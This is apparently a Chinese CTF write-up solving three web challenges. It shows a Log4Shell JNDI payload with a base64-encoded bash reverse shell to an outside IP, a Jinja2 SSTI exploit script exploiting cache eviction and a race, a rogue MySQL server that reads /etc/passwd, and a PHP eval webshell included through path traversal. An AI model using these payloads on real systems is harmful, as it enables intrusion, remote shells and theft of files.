EzPDFParser

本题是对 log4j 漏洞的一个利用,国外大佬发在 github 上了一个 log4jshell-pdf,这里是具体的分析与演示文章

题目给出了 war 包,反编译后我们可以看到

image.png

那么攻击点就很明显了,我们可以上网进行信息搜集,看一下剩余的几个包在对应版本下是不是存在 log4j 的漏洞利用,发现文章与github项目,放在开头了。

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMDQuMTQuMTYwLzIzMzMgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "47.104.14.160"

image.png

${jndi:ldap:${sys:file.separator}${sys:file.separator}47.104.14.160:1389${sys:file.separator}9hrm4a}

image.png

更改 /size 为 我们的 payload,上传,反弹 shell 成功

image.png

image.png

拿到 flag

ez_flask

题目给出附件源码

import time
import re,os,sys
from flask import Flask,render_template,request

nums,locked = 0, False
app = Flask(__name__)

@app.route('/')
@app.route('/index')
def domain():
return 'Hello'

@app.route('/create')
def create():
try:
global nums, locked
assert not locked, "LOCKED"
default_content = "<h1>2</h1>"
locked = True
if nums > 9999:
raise Exception("templates full")

with open(f'./templates/{nums}.html', 'w') as f:
f.write(default_content)

msg = render_template(f'{nums}.html')
if msg != default_content:
kill()
nums += 1
except Exception as e:
msg = f"Something fail. {e}"
locked = False
return msg

@app.route('/show/<int:tid>')
def show(tid):
try:
global locked
assert not locked, "LOCKED"

locked = True
if not os.path.exists(f'./templates/{tid}.html'):
raise Exception('file not found')

msg = render_template(f'{tid}.html')
except Exception as e:
msg = f"Something fail. {e}"
locked = False
return msg

@app.route('/edit/<int:tid>', methods = ["POST"])
def edit(tid):
try:
global locked
assert not locked, "LOCKED"
locked = True

if not os.path.exists(f'./templates/{tid}.html'):
raise Exception('file not found')

if not request.files.get('edit.html'):
raise Exception('Please give me edit file')

f = request.files['edit.html']
f.save(f'./templates/{tid}.html')
msg = 'ok'
except Exception as e:
msg = f"Something fail. {e}"
locked = False
return msg

@app.route('/kill')
def kill():
func = request.environ.get('werkzeug.server.shutdown')
func()
return 'server exiting.'

if not os.path.exists('templates'):
os.system('mkdir templates')
else:
os.system('rm ./templates/*.html')

app.run(host='0.0.0.0', port=5001)

这里的 edit 路由一看就很有问题,在我们可以随意更改与读取模板的情况下肯定会存在 SSTI 问题的出现,但是这里我们在本地测试后发现 edit 写入后并不会重新加载模板,我们在 show 的时候显示的还是 create 时写入的内容。

Flask 中有两个配置项 app.DEBUG 与 APP.jinja_env.auto_reload,前者为 Ture 时 代码更改后立即生效,后者为 Ture 时 模板修改后立即生效,无需重启,否则我们要重新加载的话是需要让 flask 应用重启的。

这里想到了之前 *CTF 中的 lotto,我们覆盖 app.py 后也是需要让应用重启的,但是那里给出了 dockerfile,我们知道启动方式为 gunicorn,这里在测试后发现延时或者抓包不放包等并不能使服务重启。

不过这里的 kill 路由存在使应用退出的功能,但是访问也访问不到,查询一下发现

image.png

那这个 kill 路由算是废掉了

重新审计源码,猜测存在并发时的线程安全问题,locked 全局变量可以在并发的其他路由中得到解除,同时可以在 msg = render_template(f'{nums}.html') 之前,利用 edit 实现模板的更改,成功加载。

create ,然后 edit,最后 show 查看

0d78ebd0ed87147d338a2739811c8bf.png

写入 SSTI,成功执行

image.png

cat flag

image.png

成功拿到 flag

补充内容

WP 发得真快,这里还是有很多知识含量的,在这里进行一下补充学习。

其实这个题目是考察选手对 flask render_template 方法的实现原理掌握情况的

我们在拿到题目的时候肯定会思考,题目中缓存的这个文件在什么条件下会被重新解析,是重启?或开启debug模式?那么还有吗?

这里存在一个问题,我们可以发现,我们的页面都会保持最开始写入的状态,哪怕他本身的文件已经被编辑了,那也就是说,flask 为这些文件进行了缓存,缓存的位置应该会是内存,那么既然是缓存到内存中,那一定会对大小有一个限制。

WP 推荐了一篇知乎 https://zhuanlan.zhihu.com/p/78757670 是介绍 flask 的模板渲染过程的,跟的源码

# /jinja2/environment.py 用于检查页面是否存在缓存,如果存在,直接从缓存中提取
@internalcode
def _load_template(self, name, globals):
if self.loader is None:
raise TypeError('no loader for this environment specified')
if self.cache is not None:
template = self.cache.get(name)
if template is not None and (not self.auto_reload or template.is_up_to_date):
return template
template = self.loader.load(self, name, globals)
if self.cache is not None:
self.cache[name] = template
return template

看到 self.cache 的定义

# set the loader provided
self.loader = loader
self.cache = create_cache(cache_size)
self.bytecode_cache = bytecode_cache
self.auto_reload = auto_reload

Cache_size 默认值为 400

`cache_size`
The size of the cache. Per default this is ``400`` which means
that if more than 400 templates are loaded the loader will clean
out the least recently used template. If the cache size is set to
``0`` templates are recompiled all the time, if the cache size is
``-1`` the cache will not be cleaned.

.. versionchanged:: 2.8
The cache size was increased to 400 from a low 50.
def create_cache(size):
"""Return the cache class for the given size."""
if size == 0:
return None
if size < 0:
return {}
return LRUCache(size)

但是我们在做题的时候可以发现,就算我们 create 跑满也不会导致缓存池的崩溃,这里涉及到了一个叫 LRU 的东西

LRU是Least Recently Used的缩写,即最近最少使用,是一种常用的页面置换算法,选择最近最久未使用的页面予以淘汰。该算法赋予每个页面一个访问字段,用来记录一个页面自上次被访问以来所经历的时间 t,当须淘汰一个页面时,选择现有页面中其 t 值最大的,即最近最少使用的页面予以淘汰。

也就是说这里我们还要同时把 show 跑起来,我们每次访问页面的时候都会将页面放到 cache 的最前放,后面的页面由于得不到访问,在达到最大限制之后就会被移出缓存。

exp:

from requests import *
from tempfile import SpooledTemporaryFile

content = """{{a.__init__.__globals__.__builtins__.eval("__import__('os').popen('cat /var/tmp/flag').read()")}}"""


url = 'http://47.97.127.1:21136'

get(f'{url}/create')

with SpooledTemporaryFile(max_size=len(content) + 10, mode='w+r') as file:
file.write(content)
file.seek(0)
r = post(f'{url}/edit/0', files={'edit.html': ('edit.html', file)})
print(r.text)

for i in range(410):
get(f'{url}/create')

r = get(f'{url}/show/0')
print(r.text)

原来的做法其实是误打误撞的 hhhhh

easyCMS

首先利用 mysql 连接的测试工具,通过 MYSQL 的 LOAD DATA INFILE 利用服务器上的恶意 mysql 服务恶意读取文件,python2脚本如下

#!/usr/bin/env python
#coding: utf8


import socket
import asyncore
import asynchat
import struct
import random
import logging
import logging.handlers



PORT = 3306

log = logging.getLogger(__name__)

log.setLevel(logging.INFO)
tmp_format = logging.handlers.WatchedFileHandler('mysql.log', 'ab')
tmp_format.setFormatter(logging.Formatter("%(asctime)s:%(levelname)s:%(message)s"))
log.addHandler(
tmp_format
)

filelist = (
'/etc/passwd',
)


#================================================
#=======No need to change after this lines=======
#================================================

__author__ = 'Gifts'

def daemonize():
import os, warnings
if os.name != 'posix':
warnings.warn('Cant create daemon on non-posix system')
return

if os.fork(): os._exit(0)
os.setsid()
if os.fork(): os._exit(0)
os.umask(0o022)
null=os.open('/dev/null', os.O_RDWR)
for i in xrange(3):
try:
os.dup2(null, i)
except OSError as e:
if e.errno != 9: raise
os.close(null)


class LastPacket(Exception):
pass


class OutOfOrder(Exception):
pass


class mysql_packet(object):
packet_header = struct.Struct('<Hbb')
packet_header_long = struct.Struct('<Hbbb')
def __init__(self, packet_type, payload):
if isinstance(packet_type, mysql_packet):
self.packet_num = packet_type.packet_num + 1
else:
self.packet_num = packet_type
self.payload = payload

def __str__(self):
payload_len = len(self.payload)
if payload_len < 65536:
header = mysql_packet.packet_header.pack(payload_len, 0, self.packet_num)
else:
header = mysql_packet.packet_header.pack(payload_len & 0xFFFF, payload_len >> 16, 0, self.packet_num)

result = "{0}{1}".format(
header,
self.payload
)
return result

def __repr__(self):
return repr(str(self))

@staticmethod
def parse(raw_data):
packet_num = ord(raw_data[0])
payload = raw_data[1:]

return mysql_packet(packet_num, payload)


class http_request_handler(asynchat.async_chat):

def __init__(self, addr):
asynchat.async_chat.__init__(self, sock=addr[0])
self.addr = addr[1]
self.ibuffer = []
self.set_terminator(3)
self.state = 'LEN'
self.sub_state = 'Auth'
self.logined = False
self.push(
mysql_packet(
0,
"".join((
'\x0a', # Protocol
'5.6.28-0ubuntu0.14.04.1' + '\0',
'\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00',
)) )
)

self.order = 1
self.states = ['LOGIN', 'CAPS', 'ANY']

def push(self, data):
log.debug('Pushed: %r', data)
data = str(data)
asynchat.async_chat.push(self, data)

def collect_incoming_data(self, data):
log.debug('Data recved: %r', data)
self.ibuffer.append(data)

def found_terminator(self):
data = "".join(self.ibuffer)
self.ibuffer = []

if self.state == 'LEN':
len_bytes = ord(data[0]) + 256*ord(data[1]) + 65536*ord(data[2]) + 1
if len_bytes < 65536:
self.set_terminator(len_bytes)
self.state = 'Data'
else:
self.state = 'MoreLength'
elif self.state == 'MoreLength':
if data[0] != '\0':
self.push(None)
self.close_when_done()
else:
self.state = 'Data'
elif self.state == 'Data':
packet = mysql_packet.parse(data)
try:
if self.order != packet.packet_num:
raise OutOfOrder()
else:
# Fix ?
self.order = packet.packet_num + 2
if packet.packet_num == 0:
if packet.payload[0] == '\x03':
log.info('Query')

filename = random.choice(filelist)
PACKET = mysql_packet(
packet,
'\xFB{0}'.format(filename)
)
self.set_terminator(3)
self.state = 'LEN'
self.sub_state = 'File'
self.push(PACKET)
elif packet.payload[0] == '\x1b':
log.info('SelectDB')
self.push(mysql_packet(
packet,
'\xfe\x00\x00\x02\x00'
))
raise LastPacket()
elif packet.payload[0] in '\x02':
self.push(mysql_packet(
packet, '\0\0\0\x02\0\0\0'
))
raise LastPacket()
elif packet.payload == '\x00\x01':
self.push(None)
self.close_when_done()
else:
raise ValueError()
else:
if self.sub_state == 'File':
log.info('-- result')
log.info('Result: %r', data)

if len(data) == 1:
self.push(
mysql_packet(packet, '\0\0\0\x02\0\0\0')
)
raise LastPacket()
else:
self.set_terminator(3)
self.state = 'LEN'
self.order = packet.packet_num + 1

elif self.sub_state == 'Auth':
self.push(mysql_packet(
packet, '\0\0\0\x02\0\0\0'
))
raise LastPacket()
else:
log.info('-- else')
raise ValueError('Unknown packet')
except LastPacket:
log.info('Last packet')
self.state = 'LEN'
self.sub_state = None
self.order = 0
self.set_terminator(3)
except OutOfOrder:
log.warning('Out of order')
self.push(None)
self.close_when_done()
else:
log.error('Unknown state')
self.push('None')
self.close_when_done()


class mysql_listener(asyncore.dispatcher):
def __init__(self, sock=None):
asyncore.dispatcher.__init__(self, sock)

if not sock:
self.create_socket(socket.AF_INET, socket.SOCK_STREAM)
self.set_reuse_addr()
try:
self.bind(('', PORT))
except socket.error:
exit()

self.listen(5)

def handle_accept(self):
pair = self.accept()

if pair is not None:
log.info('Conn from: %r', pair[1])
tmp = http_request_handler(pair)


z = mysql_listener()
# daemonize()
asyncore.loop()

我们读取题目 cms 的源码,重点在 route 和 testTool,源码如下

testTool.php

<?php
// \xe5\x9c\xa8\xe7\x94\x9f\xe4\xba\xa7\xe7\x8e\xaf\xe5\xa2\x83\xe4\xb8\x8b\xe5\x88\xa0\xe9\x99\xa4\xe6\xad\xa4\xe5\xb7\xa5\xe5\x85\xb7\xe7\xb1\xbb\xef\xbc\x81
defined("INDEX") ? : header("Location: /");

class testTool extends baseTool
{
public function __construct($arg)
{
$this->input["var"] = $arg['192.168.88.141'] or NULL;
}

public static function init()
{
parent::userToolInit(__CLASS__, './index.php?s=tool/test', 'test\xe7\xb1\xbb');
}

private function test()
{
@mkdir("/tmp/sandbox");
if (is_string($this->input["var"])) {
$value = unserialize($this->input["var"]);
$this->output = $value();
} else if (is_array($this->input["var"])) {
$value = $this->input["var"];
$path = '/tmp/sandbox/'.md5($_SERVER['REMOTE_ADDR']); ///tmp/sandbox/c2dd020c05b439f7c0f7c44b3eaa5964
if (!file_exists($path)) {
mkdir($path, 0777, true);
}
@file_put_contents($path.'/'.basename($value['file']), $value['data']);
} else {
$this->output = NULL;
}
}

public function __invoke()
{
call_user_func(array($this, 'test'));
return $this->output;
}
}

route

\x02<?php
defined("INDEX") ? : header("Location: /");

class route
{
public $args = NULL;

protected $sArray = NULL;
protected $toolVar = NULL;

protected $mode = NULL;
protected $class = NULL;

protected $viewPath = NULL;
protected $toolPath = NULL;

public function __construct($s)
{
$this->sArray = explode('/', $s, 2);

$this->mode = $this->sArray[0];
$this->class = $this->sArray[1];

$this->args = $_POST or NULL;
}

public function loadAutoTool()
{
foreach(glob("./tools/autoLoadTools/*.php") as $file) {
include_once($file);
}

return $this;
}

public function getTool()
{
include_once('./tools/baseTool.php');
try {
if($this->mode === 'index')
$this->toolPath = 'webTools';
elseif($this->mode === 'tool')
$this->toolPath = 'userTools';
else
throw new Exception('Mode Error!');

$toolPath = './tools/'.$this->toolPath.'/'.$this->class.'Tool.php';

if(file_exists($toolPath) & include_once($toolPath));
else
throw new Exception('File Error!');

} catch(Exception $e) {
$this->includeError();
return NULL;
}

return $this;
}

public function startTool()
{
$toolClass = $this->class.'Tool';
if (class_exists($toolClass)) {
$toolObj = new $toolClass($this->args);
$this->toolVar = $toolObj();
} else {
$this->includeError();
return NULL;
}
return $this;
}

public function getView()
{
$toolVar = $this->toolVar;
switch (gettype($toolVar)) {
case "array":
$toolVar = htmlTool::arrayHtmlChar($toolVar);
break;

case "string":
$toolVar = htmlTool::stringHtmlChar($toolVar);
break;
}

try {
if($this->mode === 'index')
$this->viewPath = 'index';
elseif($this->mode === 'tool')
$this->viewPath = 'tool';
else
throw new Exception('Mode Error!');

$viewPath = './view/'.$this->viewPath.'/'.$this->class.'.php';

if(file_exists($viewPath))
require_once($viewPath);
else
throw new Exception('File Error!');

} catch(Exception $e) {
$this->includeError();
return NULL;
}

return $this;
}

public function includeError()
{
include_once('./view/error/404.php');
}
}

我们可以看到 testTool 中已经为我们设好了要利用的点

private function test()
{
@mkdir("/tmp/sandbox");
if (is_string($this->input["var"])) {
$value = unserialize($this->input["var"]);
$this->output = $value();
} else if (is_array($this->input["var"])) {
$value = $this->input["var"];
$path = '/tmp/sandbox/'.md5($_SERVER['REMOTE_ADDR']); ///tmp/sandbox/c2dd020c05b439f7c0f7c44b3eaa5964
if (!file_exists($path)) {
mkdir($path, 0777, true);
}
@file_put_contents($path.'/'.basename($value['file']), $value['data']);
} else {
$this->output = NULL;
}
}

首先我们传一个 phpinfo 上去,这里要注意,不是数组的话就要是序列化的数据

image.png

可以看到 REMOTE_ADD 为 58.56.52.219 ,算一下 MD5 76bd2f4bd454954df429ea457752af39

我们写入的文件就会存在 /tmp/sandbox/76bd2f4bd454954df429ea457752af39/ 目录下,那么我们怎么包含呢?

这里就要用到 route.php 中的内容了,

       $this->sArray = explode('/', $s, 2);

$this->mode = $this->sArray[0];
$this->class = $this->sArray[1];
··· ···
try {
if($this->mode === 'index')
$this->toolPath = 'webTools';
elseif($this->mode === 'tool')
$this->toolPath = 'userTools';
else
throw new Exception('Mode Error!');

$toolPath = './tools/'.$this->toolPath.'/'.$this->class.'Tool.php';

if(file_exists($toolPath) & include_once($toolPath));

我们可以发现,这里是可以实现目录穿梭的,我们可以发现 sArray[1];/ 之后的所有内容,也就是说,如果我们写入的 php 文件可以通过这里包含进来,不过要为 xxxTool.php

写入

Y0U_CA0_n3vEr_F1nD_m3_LOL[file]=evilTool.php&Y0U_CA0_n3vEr_F1nD_m3_LOL[data]=<?php eval($_POST[a]);?>

读取

?s=tool/../../../../../../../../../tmp/sandbox/76bd2f4bd454954df429ea457752af39/evil

image.png

image.png